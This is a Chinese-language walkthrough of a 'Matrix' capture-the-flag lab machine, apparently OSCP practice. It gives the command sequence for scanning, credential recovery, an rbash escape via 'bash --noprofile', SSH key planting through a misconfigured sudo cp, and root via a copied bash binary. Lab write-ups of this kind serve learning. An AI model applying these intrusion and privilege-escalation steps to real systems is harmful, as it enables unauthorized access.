OSCP-004-Matrix
OSCP-004-Matrix
调整为nat模式
主机发现
netdiscover -r 192.168.174.0/24 |
端口扫描
nmap -p- -T5 192.168.174.161 |
nmap -p80,6464,7331 -sV --script "default, safe" (IP) |
可以获得的信息
80和7331都是python起的http服务
6464是一个ssh的端口
访问服务
80端口
7331端口:一个登陆界面
输入admin:admin后,有个显示,传入后台应该是base64
echo "YWRtaW46YWRtaW4=" | base64 -d |
admin:admin
目录扫描
dirb http://192.168.174.161 |
访问该目录
可以在img里找到一个rabbit的图片
下载下来试试
wget http://192.168.174.161/assets/img/Matrix_can-show-you-the-door.png |
官方文档是
strings xx.png |
用这两个命令看下图片有没有隐写信息,没什么收获
可以发现图片名提示Matrix提供这个门,尝试访问Matrix目录
发现一串目录,在Matrix/n/e/o/6/4/
目录下发现一个secret.gz
文件,应该是一个提示,也可以发现是黑客帝国得尼奥得英文名
文件分析
下载下来试试
wget http://192.168.174.161/Matrix/n/e/o/6/4/secret.gz |
gunzip试了下,不是gzip文件
file查看一下,发现是ascii:text文件
直接cat查看
admin:76a2173be6393254e72ffa4d6df1030a |
查下md5
也可以不查
echo "xxx" > hash |
可以得到admin:passwd
登陆页面目录扫描
dirb http://192.168.174.161:7331 -u admin:passwd |
发现data目录和robots.txt文件,分别访问
可以发现一个data文件,下载尝试分析文件
wget http://ip:7331/data/data --user admin --password passwd |
file data |
是一个PE文件,放到ida里反编译一下
guest:7R1n17yN30 |
可以在dispose中找到一个账号密码对,结合剩下一个的ssh端口,推测是用该账号密码连接
ssh
ssh guest@192.168.174.161 -p6464 |
连上后,发现很多指令都用不了
echo $SHELL |
发现是rbash,尝试连接默认shell
ssh guest@192.168.174.161 -p6464 -t "bash --noprofile" |
"bash --noprofile"
是在远程计算机上执行的命令。bash
是Bourne Again Shell的简称,是一种常用的Unix shell。--noprofile
选项告诉bash不要读取用户的profile文件,这在某些情况下可以防止执行一些可能不安全的脚本。
再次echo shell,虽然说还是rbash但还是可以执行其它命令的,我们可以创建一个空的ssh的rsa密钥
这个用户可以不用密码利用root身份去运行一个特定的文件。利用trinity这个用户身份还可以执行cp命令,看来这是突破口了。
利用cp将bash复制到root可以执行的文件位置,失败
vi提权
vi |
find一下有没有提权的文件
find / -perm -4000 2>/dev/null |
利用ssh-keygen生成一个密钥,准备给trinity用。
查看一下sshd的配置文件,可以看到开着pubkey认证,并且密钥保存在.ssh/authorized_keys,下一步就把我们生成的密钥放到trinity用户目录下就行了。
cat /etc/ssh/sshd_config |
把刚生成的id_rsa.pub权限修改为777,让非guest的用户也有执行权限,然后利用trinity身份的cp命令将这个文件复制到trinity/.ssh/authorized_keys
chmod 777 id_rsa.pub |
再ssh登陆trinity
ssh trinity@127.0.0.1 -i .ssh/id_rsa.pub -p 6464 |
登录trinity用户发现可以以root用户权限无密码使用oracle
命令,直接将/usr/bin/bash
复制到trinity家目录
下并改名为oracle
cp /usr/bin/bash oracle |
调用oracle,成功拥有root权限,在root目录下找到flag.txt文件
sudo ./oracle |